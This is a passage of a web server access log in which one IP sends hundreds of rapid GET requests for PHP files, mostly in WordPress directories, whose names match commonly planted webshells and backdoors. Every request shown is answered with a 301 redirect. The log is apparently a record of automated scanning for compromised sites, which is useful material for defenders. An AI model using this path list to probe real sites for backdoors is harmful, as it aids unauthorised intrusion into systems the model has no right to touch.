"-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:03 -0400] "GET /docs/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:05 -0400] "GET /wp-content/plugins/dzs-zoomsounds/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:07 -0400] "GET /wp-content/themes/ccx/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:09 -0400] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:11 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:12 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:13 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:15 -0400] "GET /wp-admin/maint/layout.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:16 -0400] "GET /wp-content/plugins/dmZcq9yohpy9bCw5Q9fNaH/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:17 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:18 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:19 -0400] "GET /wp-admin/css/file.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:21 -0400] "GET /wp-includes/ID3/2.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:22 -0400] "GET /gebase.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:23 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:24 -0400] "GET /cgi-bin/160263/wsoyanzv3.5enc.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:26 -0400] "GET /cux.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:27 -0400] "GET /wp-includes/fonts/install.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:28 -0400] "GET /wp-includes/PHPMailer/Send.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:28 -0400] "GET /wp-includes/pomo/pomo.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:29 -0400] "GET /.well-known/idupkfqa.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:30 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:31 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:32 -0400] "GET /wp-content/uploads/wpr-addons/forms/63490fd7e6.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:33 -0400] "GET /wp-includes/html-api/aj.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:33 -0400] "GET /class.api.php999 HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:34 -0400] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:35 -0400] "GET /wp-admin/css/colors/blue/lock.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:35 -0400] "GET /wp-content/themes/wp-pridmag/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:36 -0400] "GET /wp-content/wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:37 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:38 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:39 -0400] "GET /wp-admin/css/colors/ectoplasm/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:40 -0400] "GET /wp-content/plugins/oouxqal/ovacoczfz.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:41 -0400] "GET /wp-includes/Requests/vvEiCw.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:42 -0400] "GET /wp-includes/sitemaps/providers/buy.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:44 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:46 -0400] "GET /wp-admin/astab.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:46 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:48 -0400] "GET /.well-known/fmseuycg.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:49 -0400] "GET /wp-admin/includes/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:51 -0400] "GET /wp-includes/Text/Diff/gethostbyname.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:53 -0400] "GET /admin/editor/engine.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:54 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:55 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:56 -0400] "GET /wp-admin/includes/class-wp-dxqJeZ.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:57 -0400] "GET /wp-content/uploads/index1.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:58 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:52:59 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:00 -0400] "GET /components/ovaxqhsbg.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:01 -0400] "GET /cwuvvcbn.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:02 -0400] "GET /rwvri.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:05 -0400] "GET /.well-known/acme-challenge/jmfi2.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:08 -0400] "GET /templates/beez3/1.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:09 -0400] "GET /wp-includes/images/media/code-text.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:11 -0400] "GET /wp-admin/includes/moon.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:12 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:13 -0400] "GET /sxo.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:15 -0400] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:16 -0400] "GET /wp-content/themes/jobok/en.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:17 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:18 -0400] "GET /wp-content/themes/astra/inc/customizer/custom-controls/description/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:20 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:21 -0400] "GET /wp-admin/js/widgets/doc.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:22 -0400] "GET /wp-content/plugins/bguoclz/ovaivknnc.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:23 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:25 -0400] "GET /wp/ab.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:28 -0400] "GET /wp-includes/theme-compat/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:32 -0400] "GET /.well-known/pki-validation/asyaddpi.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:36 -0400] "GET /wp-admin/js/widgets/class.api.php999 HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:39 -0400] "GET /tmp/.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:40 -0400] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:42 -0400] "GET /wp-includes/class-wp-session-href.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:43 -0400] "GET /wp-includes/js/tinymce/plugins/image/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:44 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:45 -0400] "GET /checkbex.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:46 -0400] "GET /wp-admin/maint/01imunify.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:46 -0400] "GET /.well-known/pki-validation/3c2b55bd-fabd-419b-9718-66fbcf89acc5.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:47 -0400] "GET /baxa1.php7 HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:48 -0400] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:49 -0400] "GET /wp-content/plugins/seox/randkeyword.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:50 -0400] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:51 -0400] "GET /.well-known/hdkmnjbd.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:52 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:53 -0400] "GET /S.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:54 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:55 -0400] "GET /wp-includes/goods.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:56 -0400] "GET /OLD-UP-ova.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:56 -0400] "GET /editor.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:57 -0400] "GET /retu.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:58 -0400] "GET /wp-includes/blocks/table/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:59 -0400] "GET /.well-known/pki-validation/65d9b536-ce5f-497e-8c82-8ee66c78d293.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:53:59 -0400] "GET /about/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:00 -0400] "GET /wordpress/wp-content/plugins/HHX6zQm6DLw3Ae6bxM4VOR/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:01 -0400] "GET /wordpress/wp-includes/css/dist/list-reusable-blocks/ovatthttr.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:01 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:02 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:03 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:05 -0400] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:05 -0400] "GET /ckgdg.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:06 -0400] "GET /wp-admin/maint/buy.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:07 -0400] "GET /wp-content/themes/seotheme/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:07 -0400] "GET /wp-includes/rest-api/search/about.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:08 -0400] "GET /.wp-db.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:08 -0400] "GET /wp-admin/includes/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:09 -0400] "GET /wp-includes/ID3/custom-file-4-1735114949.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:10 -0400] "GET /storage/filemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:10 -0400] "GET /wp-content/uploads/SakMaDic.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:12 -0400] "GET /.tmb/file.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:13 -0400] "GET /blog.php7 HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:15 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:17 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:19 -0400] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:21 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:22 -0400] "GET /wp-admin/images/license.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:24 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:24 -0400] "GET /home/function.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:25 -0400] "GET /urcudivu.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:27 -0400] "GET /wp-content/plugins/erinyani/gebase.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:28 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:29 -0400] "GET /wp-content/themes/twentytwentytwo/inc/patterns/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:31 -0400] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:33 -0400] "GET /wp-includes/css/cong.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:35 -0400] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:36 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:37 -0400] "GET /dhemowfu.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:39 -0400] "GET /uploads/683584ibal.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:40 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:40 -0400] "GET /.well-known/pki-validation/xp.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:42 -0400] "GET /wp-admin/51axqg6EDPQ.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:43 -0400] "GET /wp-admin/images/a2.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:44 -0400] "GET /wp-content/plugins/dywdsmx/ovailqjzg.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:45 -0400] "GET /wp-includes/images/install.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:46 -0400] "GET /wp_wol.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:48 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:48 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:49 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:50 -0400] "GET /wp-admin/network/file.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:52 -0400] "GET /wp-content/sxo.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:53 -0400] "GET /wp-includes/images/crystal/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:54 -0400] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:55 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:56 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:56 -0400] "GET /wp-content/wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:57 -0400] "GET /wp-includes/Requests/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:58 -0400] "GET /wp-content/uploads/id.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:58 -0400] "GET /.well-known/pki-validation/sxo.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:59 -0400] "GET /templates/atomic/templates.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:54:59 -0400] "GET /vendor/guzzlehttp/alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:00 -0400] "GET /wp-admin/images/wp-ksv1i.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:01 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:02 -0400] "GET /wp-includes/css/page.template.1735117956.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:03 -0400] "GET /sck.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:05 -0400] "GET /css/kraoqapd.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:07 -0400] "GET /sbijnocj.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:08 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:11 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:14 -0400] "GET /wp-content/uploads/wpr-addons/forms/about.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:16 -0400] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:17 -0400] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:18 -0400] "GET /wp-admin/js/a2.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:20 -0400] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:21 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:22 -0400] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:24 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:27 -0400] "GET /wp-admin/css/daren.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:28 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:29 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/Ge/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:31 -0400] "GET /wp-admin/includes/zipp.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:32 -0400] "GET /wp-content/uploads/showupload.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:33 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:35 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:36 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:37 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/ovakvbycd.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:38 -0400] "GET /wp-admin/includes/class_api.php999 HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:39 -0400] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:40 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:42 -0400] "GET /1rbxb768.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:44 -0400] "GET /he.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:45 -0400] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:47 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:48 -0400] "GET /wp-includes/sodium_compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:51 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:53 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:56 -0400] "GET /wp-admin/js/widgets/jLFgZjjsqs.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:55:59 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:01 -0400] "GET /wp-content/themes/seotheme/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:04 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:06 -0400] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:08 -0400] "GET /wp-includes/carson.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:09 -0400] "GET /wp-includes/yes.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:10 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:13 -0400] "GET /wp-content/termps.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:14 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:16 -0400] "GET /epdwm.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:18 -0400] "GET /wp-content/plugins/woocommerce/assets/about.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:21 -0400] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:23 -0400] "GET /wp-includes/Text/Diff/Renderer/eqw5de.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:25 -0400] "GET /wp-includes/css/kses.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:27 -0400] "GET /.well-known/acme-challenge/tiny.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:29 -0400] "GET /assets/images/206d2bdfbd.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:30 -0400] "GET /cvawk.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:32 -0400] "GET /df.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:33 -0400] "GET /wp-admin/js/widgets/text-widgets.min.js.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:34 -0400] "GET /wp-includes/1671b870622bf3admin.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:35 -0400] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:36 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:36 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:37 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:39 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:40 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:42 -0400] "GET /wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:44 -0400] "GET /wp-content/uploads/BbUMY/flower.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:45 -0400] "GET /wp-includes/Requests/library/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:46 -0400] "GET /.well-known/siuqzorv.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:48 -0400] "GET /wp-admin/css/colors/coffee/css.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:49 -0400] "GET /wp-content/languages/ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" 